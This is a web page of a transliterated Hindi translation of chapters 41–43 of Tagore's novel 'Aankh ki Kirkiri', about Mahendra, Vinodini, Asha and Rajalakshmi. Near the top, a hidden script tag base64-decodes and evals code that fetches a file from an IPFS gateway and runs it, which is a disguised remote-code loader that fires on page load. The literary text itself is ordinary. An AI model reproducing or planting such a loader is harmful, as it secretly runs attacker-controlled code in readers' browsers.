आँख की किरकिरी उपन्यास भाग-6

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

41

rat ko jab use pataladaanga ke dere par chho dakar mahendr apane kap de aur kitabean lane ghar chala gaya, to kalakatta ke avishram jan-srot ki halachal mean akeli baithi vinodini apani bat sochane lagi. duniya mean panah ki jagah kafi to use kabhi bhi n thi, itani zaroor thi ki agar ek or garam ho jae, to doosari taraph karavat badalakar so sake. aj lekin nirbhar karane ki jagah nihayat sankari ho gee thi. jis nav par savar hokar vah pravah mean bah chali hai, usake daean-baean kisi bhi taraph zara jhuk jane se pani mean gir p dane ki naubat. lihaza b di savadhani se patavar pak dani thi- zara-si chook, zara-sa hilana-dulana bhi muhal. aisi halat mean bhala kis aurat ka kaleja nahian kaanpata. paraye man ko mutthi mean rakhane ke lie jis chuhal ki zaroorat hai, jitani ot chahie, is sankarepan mean usaki guanjaish kahaan! mahendr ke ekabaragi amane-samane rahakar sari ziandagi bitani p degi. farq itana hi hai ki mahendr ke kinare lagane ki guanjaish hai, vinodini ke lie vah bhi nahian.

apani is asahay avastha ko vah jitana hi samajhane lagi, utana hi use bal milane laga. koee-n-koee upay karana hi p dega, aise kam nahian chalane ka.

bihari ko prem-nivedit karane ke din se hi vinodini ke dhiraj ka baandh toot gaya tha. apane jis umage hue chuanban ko vah usake pas lautakar le aee, sansar mean aur kisi ke pas use utarakar nahian rakh sakati. pooja ke chadhave ki tarah devata ke lie use rat-din dhone ke siva koee rasta nahian hai. usaka man kabhi hathiyar dal dena nahian janata, nirasha vah nahian manati. usaka man bar-bar usase kah raha tha- "yah pooja bihari ko kabool karani hi p degi."

usake is adamy prem se usaki atm-raksha ki akaanksha akar mil gee. bihari ke sivay usake pas aur koee chara nahian. mahendr ko usane achchhi tarah samajh liya tha.- us par tikana chaho to vah bhar nahian sah sakata- chho dane par hi use paya ja sakata hai- pak dana chaho ki bhag kh da hona chahata hai. lekin aurat ke lie jis ek nishchit, vishvasi sahare ki nitaant avashyakata hai, vah sahara bihari hi de sakata hai. ab bihari ko chho dane se usaka kam hargij nahian chal sakata.

yah sochakar usane khi daki kholi aur gais ki roshani se damakate shahar ki or dekhane lagi, bihari abhi saanjh ko is shahar mean hi hai, yahaan se ekadh raste, do-char galiyaan par karake abhi-abhi usake daravaze par maze mean pahuancha ja sakata hai. dvar ke bad hi nal vala chhota-sa aangana, vahi sidhi, vahi saza-sajaya kamara-sannate mean bihari aram-kursi par akela baitha-shayad samane kh da brahman ka vah l daka, gol-matol, gora-gora sundar-sa vah l daka najar g daye tasviroan vali kisi kitab ke panne palat raha ho- ekaek sare chitr ko sudhi mean lakar sneh se, prem se vinodini ka sarvaang pulakit ho utha. ji chahe to abhi vahaan pahuanch jaya ja sakata hai. yah sochakar vinodini is ichchha ko chhati se lagae khelane lagi. pahale ki bat hoti, to shayad vah apani ichchha ki poorti ke lie lapak p dati, lekin ab age-pichhe bahut sochana p data hai. ab to mahaz vasana poori karane ka saval nahian raha, uddeshy ki poorti karani hai. vinodini sochane lagi- 'pahale yah dekhooan ki bihari javab kya deta hai, usake bad tay karooangi ki kis raste jana hai.' kuchh samajhe bina bihari ko tang karane ke lie jane ki himmat n p di.

isi tarah sochate-vicharate jab rat ke nau baj ge to mahendr lautakar a gaya. ye kee din use bhookhe-pyase, badaparaheji aur uttejana mean kate. aj kamayab hokar vinodini ko vah apane dere mean le aya; isilie thakavat se mano choor-choor ho gaya. duniya se, apane man ki halat se l dane layaq bal usamean nahian rah gaya tha. bharoan se lade usake bhavi jivan ki thakavat ne mano pahale se hi use daboch liya. bahar se daravaze ke k de khatakhatane mean mahendr ko b di sharm lagane lagi. jis pagalapan mean duniya ka koee khyal hi n kiya, vah pagalapan kahaan! raste ke achinhe- ajane logoan ki nazar ke samane bhi usaka sarvaang sakucha kyoan raha hai?

andar naya naukar so gaya tha. daravaza khulavane ke lie b da hangama karana p da. aparichit ne dere ke aandhere mean pahuanchane par mahendr ka man dhila p d hi gaya. maan ka la dala mahendr jin vilas-upakaranoan- pankhe, kursi, sophe-ka adi raha hai, usaka abhav yahaan saf dikh gaya. in kami-khamiyaan ko mitana hi p dega. dere ke sare intazam ka bhar usi par tha. mahendr ne aj tak kabhi apane ya kisi ke aram ke fikr nahian ki- aj se use ek ne aur adhoore sansar ka tili-tili bhar uthana. sidhi par ek dhibari dhuaauan ugalati huee timatima rahi thi; vahaan ke lie ek laimp lana p dega. baramade se sidhi ko jane vala rasta nal ke pani se chipachipata rahata, mistri bulakar simeant se usaki marammat karani p degi. s dak ki taraph ke do kamare jootoan ki dukan valoan ke jimme the, unhoanne abhi tak unhean khali nahian kiya-makan-malik se isake lie l dega. sara kam khud hi karana p dega- lamhe-bhar mean yah bat dimag mean aee aur usaki thakavat ke bhar par aur bhi bojh lad gaya.

sidhi par kuchh der kh de rahakar mahendr ne apane ko sanbhal liya- vinodini ke prati jo prem tha, use ubhara. apane-apako samajhaya ki aj tak sari duniya ko bhoolakar usane jo chaha tha, vah mil gaya- donoan ke bich ab a dachan ki koee divar nahian- aj to mahendr ki khushi ka din hai. koee a dachan nahian thi- lekin sabase b di a dachan yahi thi- aj vah ap hi apani badha tha.

raste mean mahendr ko dekhakar vinodini dhyaan ke asan se uthi. kamare mean roshani jalaee. silaee ka kam lekar nazar jhukae baith gee. silaee usaki ek ot- thi. usaki a d mean mano usaka ek ashray tha. kamare mean akar mahendr bola- "yahaan, zaroor tumhean b di asuvidha ho rahi hai, vinod!"

apani silaee mean lagi-lagi boli- "bilkul nahian."

mahendr bola- "do hi tin dinoan mean maian sara saman le aooanga. kuchh din tumhean tho di takaliph hogi."

vinodini boli- "nahian, vah n hoga- tum ab ek bhi saman aur n lao- jo hai, vahi mere zaroorat se kahian zyada hai." mahendr ne kaha- "maian abhaga bhi kya usase kahian zyada mean hooan?"

vinodini- "apane ko utana zyada lagana thik nahian, kuchh vinay rahani chahie."

diye ki jot mean soone kamare mean sir jhukae vinodini ki us atmatallin moorti ko dekhakar mahendr ke man mean phir usi moh ka sanchar hua.

ghar mean hota to dau dakar vinodini ke pairoan mean gir p data- magar yah ghar to tha nahian, isalie vaisa n kar saka. aj vinodini b di bechari thi bilakul mahendr ki mutthi mean- aj apane ko sanyat n rakhe to b di kayarata hogi.

vinodini ne kaha- "apane kitab-kap de yahaan kyoan le ae?"

mahendr ne kaha- "unhean maian apane lie zaroori saman manata hooan- ve kahian zyada vale varg mean nahian haian..."

vinodini- "maloom hai, magar yahaan kyoan?"

mahendr- "thik hai, avashyak chizean yahaan nahian sohatian-vinod, in kitaboan-vitaboan ko uthakar raste par pheank dena, maian chooan bhi n karooanga- keval unake sath mujhe bhi mat utha pheankana." itana kahakar mahendr tho da khisak aya aur kap doan mean bandhi kitaboan ki gaanth ko vinodini ke pairoan ke pas rakh diya.

usi ganbhir bhav se silaee karati huee vinodini boli- "bhaee sahab, tum yahaan nahian rahoge."

apane uthate hue agrah par chot pakar mahendr vyakul ho utha. gadgad svar mean bola- "kyoan, tum mujhe door kyoan rakhana chahati ho? tumhare lie sab-kuchh chho dane ka yahi puraskar hai?" vinodini- "apane lie maian tumhean sab-kuchh n chho dane dooangi."

mahendr kah utha- "ab vah tumhare hath ki bat nahian- sari duniya meri charoan taraph se khisak p di hai-bas, ek tum ho- tum vinod..." kahate-kahate vihnal hokar mahendr laut p da aur vinodini ke pairoan ko pak dakar unhean bar-bar choomane laga.

paanv chhu dakar vinodini uth kh di huee. boli- "yad nahian, tumane kya pratijna ki thi?"

sari shakti lagakar mahendr ne apane ko zabt kiya. kaha- "yad hai maianne shapath li thi ki tum jo chahogi vahi hoga, maian kabhi koee etaraz n karooanga. us shapath ko maian rakhooanga. batao, mujhe kya karana hai?" vinodini- "tum apane ghar par rahoge."

mahendr- "ek maian hi kya tumhari anichchha ki vastu hooan, vinod! agar yahi bat hai to tum mujhe khianch kyoan laee? jo tumhare bhog ki chiz n thi, usake shikar ki kya zaroorat p di thi? sach-sach batao, maianne svechchha se tumhean pak d li‍ya ya tumane janakar mujhe pak da? mujhase tum is tarah khilava d karogi aur yah bhi mujhe sahana p dega? phir bhi apani shapath maian rakhooanga, jis ghar ko maian lat marakar aya, vahian jakar rahooanga."

vinodini zamin par baithi phir se silaee mean jut gee.

kuchh der tak usake muanh ki or ekatak dekhakar mahendr bol utha- "beraham! nirdayi ho tum, vinod! maian b da hi abhaga hooan ki maianne tumhean pyar kiya."

vinodini se silaee mean koee galati ho gee. roshani ke pas b di mehanat se vah dhage ko khojane lagi. mahendr ke ji mean a raha tha ki vinodini ke sangadil ko apani mutthi mean lekar pis dale. usaki is maun nirdayata aur adig upeksha ko dhakka dekar bahu-bal se shikast dene ko ji chah raha tha.

mahendr bahar nikala aur phir-phir laut aya. bola- "maian n rahooanga to yah tumhari hiphazat kaun karega?"

vinodini- "usaki to tum fikr hi n karo. bua ne us chhamiya naukarani ko javab de diya hai. aj se vah yahian rahegi. andar se ghar band karake ham donoan maze mean yahaan rah leangi." bhitar-bhitar us par jitana hi gussa ane laga, vinodini ke lie usaka utana hi zabaradast khianchav hone laga. us tas se mas n hone vali moorat ko vajr ki takat se chhati se chipakakar choor-choor kar dene ki ichchha hone lagi. apani us prabal ichchha ke hathoan se chhutakara pane ke lie mahendr dau dakar kamare se bahar chala gaya.

raste se jate hue mahendr pratijna karane laga, upeksha ke badale mean vah vinodini ki upeksha hi karega. sansar mean mahendr ke sivay ab vinodini ka aur koee sahara nahian, aisi halat mean bhi is nidarata aur adigata se use thukarana- kisi mard ke nasib mean aisa bhi apaman kabhi hua hai. mahendr ka garv choor-choor hokar bhi matiyamet n hua- pi dit aur dalit hota raha. vah sochane laga- 'aisa nachiz hooan maian! mere lie aisi spardha usake man mean kaise aee? mere sivay is samay usaka aur hai kaun?'

sochate-sochate achanak yad a gaya- 'bihari'. sahasa usake kaleje ka rakt-pravah tham gaya. bihari ko hi usane apana bharosa mana hai- maian to upalakshy-matr hooan, usaki sidhi hooan, pair rakhane ki, kadam-kadam par thokar marane ki jagah. isi sahas par meri aisi avajna.

mahendr ko shanka huee ki vinodini se bihari ki chitthi-patri chalati hogi aur ise koee bharosa mila hoga. socha aur usi dam vah bihari ke ghar ki or chal p da. jab usake ghar pahuancha, to rat nahian ke barabar baki rah gee thi. b di mushkil se daravaza pitate-pitate baire ne daravaza kholakar bataya- "babooji ghar par nahian haian."

mahendr chauank utha. socha, 'maian idhar nasamajh ki tarah mara-mara phir raha hooan aur is mauke ka fayada uthakar bihari vinodini ke pas gaya hai. isilie usane is berahami se mera apaman kiya aur maian bhi marakar bhagae ge gadahe ki tarah bhag aya.'

mahendr ne us jane-pahachane purane baire se poochha-"bhajjo, malik tumhare ghar se kis vakt nikale haian?" bhajjo ne kaha- "ji, char-paanch din ho ge. pachhaanh ki or kahian ghoomane ge haian."

mahendr ki mano jan mean jan aee. ji mean aya, 'ab aram se tho di der so looan. tamam rat bhatakate rahane ki ab himmat nahian hai.' vah oopar gaya aur bihari ke kamare mean sophe par so gaya.

jis rat mahendr ne bihari ke ghar jakar oodham machaya, usake doosare hi din bina kuchh tay kie bihari n jane kahaan chala gaya. usane socha, 'yahaan rahane se jane kab apane dost se aisa ghinauna sangharsh ho jae ki janm-bhar pachhatana p de.'

doosare din mahendr jaga to gyarah baj chuke the. uthate hi usaki nigah samane ki tipaee par p di. dekha, bihari ka ek patr p da tha. thikane ke haraph vinodini ke the. liphapha patthar ke pepar-vet se daba tha. mahendr ne jhapatakar use utha liya. liphapha khola nahian gaya tha. pravasi bihari ke intazar mean band p da tha. kaanpate hathoan se mahendr ne use pha d dala aur padhane laga. yahi chitthi vinodini ne apane gaanv se bihari ko bheji thi, jisaka use koee jabav nahian mila tha.

chitthi ka ek-ek akshar mahendr ko katane laga. chhutapan se sada hi bihari mahendr ki hi ot mean p da tha. prem-sneh ke nate mahendr-devata ke gale ki utari mala hi use nasib hua karati. aj mahendr svayan prarthi tatha bihari vimukh tha, phir bhi vinodini ne mahendr ko thukarakar bihari ko apanaya. vinodini ki chitthiyaan mahendr ko bhi do-char mili thian, magar isake mukabale ve niri nakali haian, nasamajh ko phusalane ka bahana!

apana naya thikana batane ke lie mahendr ko gaanv ke dakakhane mean bhejane ki vyakulata mahendr ko yad aee aur ab usaka karan usaki samajh mean aya. vinodini bihari ke patr ka besabri se intajar kar rahi hai.

jaisaki pahale kiya karata tha, malik ki gairahajiri mean bhajjo ne mahendr ko bazar se lakar chay-nashta diya. nahana mahendr bhool gaya. tabhi jaise ret par rahi jaldi-jaldi qadam uthakar chalata hai, usi tarah vinodini ki jalane vali chitthi par vah tezise najar dau dane laga. vah pratijna karane laga ki vinodini se ab hargij bheant n karooanga.phir man mean aya, 'aur do-ek din mean jab use bihari ka javab n milega, to vah bihari ke yahaan aegi aur tab sara hal janakar use tasalli hogi.' yah sanbhavana mahendr ke lie asahy ho gee.

akhir us patr ko apani jeb mean dalakar vah pataladaanga pahuancha. mahendr ki yah gat dekhakar vinodini ko daya a gee. vah samajh gee- ho n ho tamam rat vah raste ke hi chakkar katata rah gaya hai. poochha- "rat ghar nahian ge?"

mahendr ne kaha- "nahian."

vinodini ne pareshan hokar poochha- "abhi tak khaya-piya bhi nahian kya?" kahakar seva-parayana vinodini ne usake khane ka intazam karana chaha. mahendr bola- "rahane do, maian kha chuka hooan."

vinodini- "kahaan khaya?"

mahendr- "bihari ke yahaan."

palabhar ke lie vinodini ka chehara pila p d gaya. zara der chup rahakar usane apane ko sanbhala aur poochha-"bihari baboo kushal se to haian n?"

mahendr bola- "kushal se hi hai. vah to pachhaanh chala gaya." mahendr ne kuchh is lahaze se kaha mano bihari aj hi gaya hai.

vinodini ka chehara phir ek bar pila p d gaya. phir apane ko sanbhalakar boli- "aisa daanvadol adami to maianne nahian dekha. unhean ham logoan ka sara hal maloom p d gaya hai? khoob naraz ho ge haian kya?" mahendr- "naraz n hua hota to is shiddat ki garmi mean bhi koee bhala adami pachhaanh ghoomane jata hai!"

vinodini- "mere bare mean kuchh kaha?"

mahendr- "kahane ko kya hai. yah usaki chitthi lo!"

chitthi usake hath mean dekar mahendr tikhi nazar se usake muanh ke bhav par gaur karane laga.

vinodini ne jhat se chitthi lekar dekhi, khuli thi vah. liphaphe par usi ke haraph mean bihari ka nam likha tha. andar se chitthi nikali. vah usi ki likhi vahi chitthi thi. ulatakar dekha, bihari ka javab to kahian n mila.

tho di der chup rahakar vinodini ne poochha- "yah chitthi tumane padhi hai?"

vinodini ke chehare ke bhav se mahendr ko dar laga. vah jhooth bol gaya- "nahian."

vinodini ne chitthi pha d dali. usake tuk de-tuk de kie aur khi daki se bahar pheank die.

mahendr bola- "maian ghar ja raha hooan."

vinodini ne koee javab n diya.

mahendr- "tumane jaisa chaha hai, maian vaisa hi karooanga. sat din maian vahian rahooanga. k aaulej ate samay roz naukarani ki marphat yahaan ka sara prabandh kar jaya karooanga. tumase bheant karake tumhean ajiz n karooanga." vinodini mahendr ki koee bat sun bhi paee ya nahian, kaun jane, magar usane koee javab n diya. khuli khi daki se bahar aandhere asaman ko takati rahi. apani chizean uthakar mahendr vahaan se nikal p da.

soone kamare mean vinodini b di der tak kath ki mari-si baithi rahi aur aant mean mano ji-jan se apane ko sajag karane ke lie chhati ka kap da pha dakar apane par berahami se chot karane lagi. avaz pakar naukarani dau di aee- "dadi ji, kya kar rahi haian?"

"too chali ja yahaan se"- dapatakar vinodini ne chhamiya ko kamare se bahar nikal diya. usake bad zoroan se kiva d band karake donoan hathoan se mutthi baandhakar zamin par lot gee- tir khae janavar jaisi rone lagi. apane ko is tarah vikshat aur shraant banakar vinodini rat-bhar khi daki ke pas niche p di rahi.

subah jaise hi sooraj ki kiranean kamare mean aeean vinodini ko achanak aisa laga, bihari gaya nahian hoga, kahian use chakama dene ke lie mahendr ne yoan hi jhooth kah diya ho. usane chhamiya ko bulakar kaha- "chhammi, too phauran zara bihari bhaee sahab ke yahaan ja-un logoan ka hal poochh a."

chhamiya koee ghante-bhar bad lautakar boli- "unake ghar ke sare khi daki-daravaze band haian. daravaza pitane par andar se baira nikala. bola- 've ghar par nahian haian. ve ghoomane ke lie pachhaanh ge haian'." vinodini ke sandeh ka koee karan hi n raha.

42

'mahendr rat mean hi uthakar chala gaya,' yah sunakar rajalakshmi bahoo par bahut naraj huee. unhoanne samajha bahoo ki lanat-malamat se hi vah chala gaya. unhoanne asha se poochha- "mahendr rat chala kyoan gaya?" asha ne sir jhukakar kaha- "maloom nahian, maan!"

rajalakshmi ko laga, yah bhi roothane ki bat hai. aziji se kaha- "tumhean nahian maloom to kise maloom hoga? kuchh kaha tha usase?" asha ne sirph 'nahian' kaha.

rajalakshmi ko yakin n aya. aisa bhi ho sakata hai bhala. poochha- "kal vah gaya kab?" sakuchakar asha boli- "nahian janati."

rajalakshmi ne zor dekar yah bhi kah diya ki asha ke acharan aur svabhav ki vajah se mahendr ghar se nikal gaya. sir jhukakar yah phatakar jhelati huee asha apane kamare mean jakar rone lagi. apane man mean sochane lagi, 'pata nahian kyoan kabhi mere svami ne mujhe pyar kiya tha aur yah bhi nahian janati ki usaka vah pyar maian phir kaise pa sakooangi. jo pyar karata hai, use kaise khush karana chahie, hriday ap hi yah bata deta hai, lekin jo pyar nahian karata, usake hriday ko kaise paya ja sakata hai, asha yah kya jane. jo adami kisi aur ko pyar karata hai, usase suhag pane-jaisi sharmanak koshish vah kaise kare?' sham ko parivar ke jyotishiji aur unaki bahan aee. bete ki grahashaanti ke lie rajalakshmi ne unhean bulavaya tha. bahoo ki janm-kuandali aur hath dekhane ka rajalakshmi ne unase anurodh kiya, aur isake lie asha ko vahaan bulavaya gaya. doosaroan ke age apani badanasibi ki charcha ke sankoch se kuanthit hokar asha kis tarah se apana hath nikalakar baithi ki itane mean apane kamare ke pas vale aandhere baramade mean rajalakshmi ko jootoan ki halki-si ahat sunaee di- koee jaise dabe paanv ja raha ho. rajalakshmi ne poochha- "kaun?" pahale to koee javab n mila. phir avaz di-"kaun hai?" is par mahendr chupachap kamare mean aya.

asha khush to kya hoti, mahendr ki lajja dekhakar lajja se usaka hriday bhar gaya. ab mahendr ko apane ghar mean hi chor ki tarah ana p da hai. jyotishiji aur unaki bahan ke rahane se use aur bhi sharm aee. duniya-bhar ke samane apane svami ke lie laz hi asha ko du:kh se b di ho uthi thi. aur ab rajalakshmi ne dhime-se kaha-"bahoo, parvati se kah do, mahendr ka khana laga do," to asha boli-"n, maian hi le ati hooan."

ghar ki das-dasiyoan se bhi vah mahendr ko dhake rakhana chahati.

idhar jyotishiji aur unaki bahan ko dekhakar mahendr man-hi-man b da naraz hua. usaki maan aur stri jantar-mantar se use vash mean lane ke lie in ashikshit moorkhoan ke sath behayaee se sazish kar rahi haian, yah mahendr ko sahan nahian hua. is par jab jyotishiji ki bahan ne, zaroorat se zyada shahad- sane svar mean poochha- 'kushal to hai, bete' to usase vahaan baitha n gaya. unake kushal-prashn ka uttar die bina hi bola- "maan, maian zara oopar chalata hooan."

maan ne samajha, mahendr shayad ekaant mean bahoo se bat karana chahata hai. behad khush hokar khud rasoee mean gee. jakar asha se kaha- "jao, jaldi se oopar jao, mahendr ko shayad kuchh kam hai." asha dh dakate hriday aur sakuchate kadamoan se oopar gee. sas ke kahane se usane yah samajha ki mahendr ne shayad use bulaya hai. lekin achanak hi usase kamare mean jate n bana, vah pahale aandhere daravaze ki a d se mahendr ko dekhane lagi.

mahendr b de hi soone man se pharsh ke bistar par takie ke sahare leta-leta chhat ke shahatir gin raha tha. vahi mahendr to tha. sara kuchh vahi magar kitana parivartan!

asha aandhere mean kh di-kh di jitana hi mahendr ko dekhane lagi, utana hi usake man mean hone laga ki mahendr abhi-abhi usi vinodini ke yahaan se aya hai, usake aangoan mean usi vinodini ka sparsh hai, aauankhoan mean usi ki moorat, kanoan mean usi vinodini ki avaz, man mean usi vinodini ki vasana ghuli-mili hai. asha is mahendr ko apani pavitr bhakti kaise de, kaise ek man se kahe ki ao, mere hriday mean virajo. vinodini ka mahendr mano asha ke lie paraya purush ho. itane mean chhat ke lohe-lakk d se mahendr ki anamani nazar samane ki divar ki taraph utari. usaki nazar ka anusaran karate hue asha ne dekha, divar par mahendr ki tasvir ke pas hi asha ka ek photo latak raha hai. usake ji mean aya, daman se use dhak de. abhyasavash kyoan vah aj tak usaki nazar mean n aya, kyoan ab tak usane utar nahian pheanka, yahi sochakar vah apane ko dhikkarane lagi. use laga, mahendr man-hi-man hans raha hai. aant mean ajiz ae mahendr ki nazar divar se niche utar aee. apani moorkhata mitane ke lie asha ajakal saanjh ko kam-kaj aur sas ki seva se phurasat pate hi kafi rat tak likha-padhi karati thi. usake padhane-likhane ki kapi-kitabean kamare mean ek taraph rakhi huee thian. mahendr ne unamean se ek kapi utha li aur dekhane laga. asha ki khvahish hone lagi ki chikhakar use chhin lae. apane kachche haraph par mahendr ki vyangy drishti ki kalpana karake vah ek pal-bhar bhi aur n kh di rah saki. tezi se niche utar gee- ahat chhipane ki bhi cheshta n rahi.

mahendr ka khana taiyar tha. rajalakshmi soch rahi thi 'mahendr bahoo se hansi dillagi kar raha hoga,' lihaza bhojan le jakar bich hi mean rukavat dalane ko ji nahian chah raha tha. asha ko utarate dekh khane ki jagah par thali rakhakar unhoanne mahendr ko khabar di. mahendr khane jane ko utha hi tha ki asha dau dakar kamare mean gee aur divar se apani tasvir utarakar chhat ki divar ke bahar pheank di aur apani kapi-kitabean utha le gee.

kha-pikar mahendr kamare mean a baitha. rajalakshmi ne lekin bahoo ko as-pas kahian nahian paya. aant mean rasoee mean jakar dekha, asha unake lie doodh ubal rahi thi. koee zaroorat n thi isaki, kyoanki jo naukarani roz doodh ubala karati thi, vah pas hi thi aur asha ke is nirarthak utsah par aitaraz kar rahi thi. pani dalakar jitana doodh vah roz gayab karati thi, aj vah hath se jata raha, isase vah akula rahi thi.

rajalakshmi bolian- "are, yahaan kyoan bahoo, oopar jao!"

asha ne oopar jakar sas ke kamare mean panah li. bahoo ke is vyavahar se rajalakshmi naraz hueean. socha, 'us mayavini ke phande se nikalakar mahendr gh di-bhar ke lie ghar bhi aya, to naraz hokar, rooth kar bahoo phir use ghar se nikalane ko taiyar! aur vinodini ke phande mean jo mahendr p da vah hi to asha ke hi chalate. mard to galat rah par chalane ke lie paanv badhae hi rahata hai. aurat ka kartavy hai, chhal-bal kaushal se use sahi raste par rakhe.'

rajalakshmi ne phatakar bataee- "yah tumhara kya ravaiya hai, bahoo! khush-kismati se svami kahian ghar a ge to muanh latakae tum is- us kone mean kyoan chhipi phirati ho?" khud ko kasooravar samajh aankush khae hue ki tarah asha oopar gee aur man ko aga-pichha karane ka zara bhi mauqa n dekar vah ek saans mean kamare ke andar chali gee. das baj chuke the. us samay mahendr bistar ke pas kh da bematalab b di der se chintit-sa machchharadani jha d raha tha. usake man mean vinodini ke lie ek tikha abhiyan ho gaya tha. vah man mean soch raha tha ki vinodini ne akhir mujhe aisa kharida hua gulam samajh rakha hai ki mujhe asha ke pas bhejate hue usake ji mean zara bhi ashanka n huee. kahian maian aj se asha ke prati apane kartavy ka palan karooan to vah kisake sahare is duniya mean kh di hogi? usane socha vah vinodini se apani upeksha ka badala zaroor lega.

asha ne jaise hi kamare mean qadam rakha, mahendr ka anamana hokar machchharadani jha dana band ho gaya. ek samasya huee ki asha se vah bol-chal kaise shuroo kare. banavati hansi hansakar achanak jo bat usaki jaban par a gee, mahendr vahi bola. bola, "maian dekh raha hooan, tumane bhi meri tarah padhane mean ji lagaya hai. yahaan kapi-kitabean p di dekhi thian, kahaan geean?" bat besir-pair ki lagi. itana hi nahian, usane asha ko chot ki. ganvar asha shikshit hone ki cheshta kar rahi hai, vah b di hi gopan bat thi usaki. aur usaka vah sankalp agar kisi ke hansi-mazak ke abhyas se bhi gopan rakhane ka vishay tha to vah khasataur se mahendr. aur usi mahendr ne jab bol-chal ke arambh mean hi hansakar vahi bat chalaee, to beraham batoan ki mar khae komal bachche ke deh-sa usaka man sankuchit aur pi dit hone laga. vah kuchh boli nahian muanh pherakar tipaee ka kinara pak de kh di rahi.

muanh se bat nikalate hi mahendr ne samajh liya tha ki bat sangat aur samay ke anukool nahian huee. lekin aisi sthiti mean upayukt bat kya ho sakati hai, vah soch hi n saka. bich mean ek itana b da vidroh ho gaya, usake bad pahale ki tarah koee sahaj bat janchati nahian. mahendr ne socha, 'masahari ke andar dakhil ho jaooan, to vahaan ke ekant se bat karana shayad sahaj ho.' yah sochakar apani dhoti ke chhor se vah phir masahari jha dane laga. naya abhineta rangamanch par jane se pahale jaise apana part man-hi-man duharaya karata hai, mahendr vaise hi masahari ke samane kh da-kh da apane vaktavy aur kartavy ki sochata raha. itane mean halki-si ahat huee. mahendr ne mu dakar dekha, lekin asha nahian thi.

43

agale din mahendr ne maan se kaha- "maan, padhane-likhane ke lie mujhe koee ekaant kamara chahie. maian chachi vale kamare mean rahooanga."

maan khush ho gee, "tab to mahendr ab ghar mean hi raha karega. lagata hai, bahoo se sulah ho gee. bhala apani aisi achchhi bahoo ki sada upeksha kar sakata hai. aisi lakshmi ko chho dakar us mayavini dayan ke pichhe vah kab tak bhoola rah sakata hai?"

maan ne jhat kaha- "harj kya hai, raho!"

unhoanne turant kuanji nikali, tala khola aur jha d-poanchh ki dhoom macha di- "bahoo, ari o bahoo, kahaan gee?" b di kathinaee se ghar ke ek kone mean dubaki huee bahoo ko baramad kiya gaya- "ek dhuli chadar le ao! is kamare mean mez nahian hai, lagani p degi. is roshani se kam nahian chalega, oopar se apana vala laimp bhijava do." is tarah donoan ne milakar us ghar ke rajadhiraj ke lie annapoorna ke kamare mean raj-sianhasan taiyar kar diya. mahendr ne seva mean lagi huee maan-bahoo ki taraph taka tak nahian, vahian kitab liye zara bhi samay barbad n karake gambhir hokar padhane baith gaya. sham ko bhojan ke bad vah phir baitha. sona oopar ke kamare mean hoga ya vahian, koee n samajh saka. b de jatan se rajalakshmi ne asha ko moorat ki tarah sajakar kaha- "bahoo, mahendr se poochh to ao, usaka bistar kya oopar lagega?"

is prastav par asha ka paanv hargiz n hila, vah sir jhukae chupachap kh di rahi. naraz hokar rajalakshmi khari-khoti sunanean lagian. b de kasht se asha daravaze tak gee, par usase age n badh saki. door se bahoo ka vah ravaiya dekhakar rajalakshmi naraz hokar ishare se nirdesh karane lagian. mari-si hokar asha kamare mean gee. ahat pakar kitaboan se sir n uthakar hi mahendr ne kaha- "mujhe abhi der hai- phir t dake se hi uthakar padhana hai- maian yahian soooanga."

sharm ki had ho gee! asha mahendr ko oopar sulane ke lie tho de hi gi dagi dane aee thi.

vah nikali. nikalate hi khijhakar rajalakshmi ne poochha- "kyoan, kya hua?"

asha boli- "abhi padh rahe haian. ve yahian soeange."

kahakar vah apane apamanit shayan-kaksh mean chali gee. kahian use chain nahian- mano sab kuchh dopahar ki dharati-sa tap utha hai. kuchh rat biti, to usake kamare ke daravaze par thapaki p di- "bahoo, bahoo, daravaza kholo!"

asha ne jhatapat daravaza khol diya. dame ki mariz rajalakshmi sidhiyaan chadhakar takaliph se saans le rahi thian. kamare mean jakar vah bistar par baith geean aur vakh-shakti lautate hi bolian- "tumhari akl ki balihari! oopar kamara band kie p di ho! yah kya rag-rosh ka samay he! is musibat ke bad bhi tumhare bheje mean budhdi nahian aee! jao niche jao!" asha ne dhime-se kaha- "unhoanne kaha hai, ekaant mean raheange."

rajalakshmi- "kah diya aur ho gaya. gusse mean jane kya kah gaya, usi par tum tunak baithogi. aisi tunak-mizaj hone se kam nahian chalega. jao, jaldi jao." du:kh ke dinoan mean sas ko bahoo se laj nahian. jo bhi tarakib unhean ati hai, usi se mahendr ko kisi tarah baandhana p dega. aveg se batean karate hue rajalakshmi ka phir se dam phoolane laga. apane ko tho da-bahut sanbhalakar uthian. asha bhi ajiz n hokar pak dakar unhean niche liva le gee. unake sone ke kamare mean asha ne unhean bitha diya aur pith ki taraph takie lagane lagi. rajalakshmi bolian- "rahane do bahoo, kisi ko bhej do. tum jao!"

abaki asha zara bhi n hichaki. sas ke kamare se nikalakar sidhi mahendr ke kamare mean gee. mahendr ke samane mez par kitab khuli p di thi- vah mez par donoan pair rakhakar kursi par matha teke dhyahn se n jane kya soch raha tha. usake pichhe pairoan ki ahat huee. chauankakar usane pichhe ki or dekha. mano kisi ke dhya n mean lin tha- ekaek dhokha hua ki vah a gee. asha ko dekhakar mahendr sanbhala. khuli kitab ko usane apani god mean khianch liya.

man-hi-man mahendr ko acharaj hua. in dinoan aise bekhatake to asha usake samane nahian ati- achanak bheant ho jati hai to vah vahaan se chal deti hai. aj itani rat ko vah is sahaj bhav se usake kamare mean a gee, tajjub hai! kitab se aauankhean hatae bina hi mahendr ne samajha, aj asha ke laut jane ka lakshan nahian. vah mahendr ke samane akar sthir bhav se kh di huee. is par mahendr se man karate n bana. sir uthakar usane dekha. asha ne saf shabdoan mean kaha- "maan ka dam ukh d aya hai. chalakar ek bar dekh lo to achchha ho!" mahendr- "ve haian kahaan?"

asha- "apane sone ke kamare mean haian. niand nahian a rahi hai."

mahendr- "achchha, chalo, unhean dekh aooan."

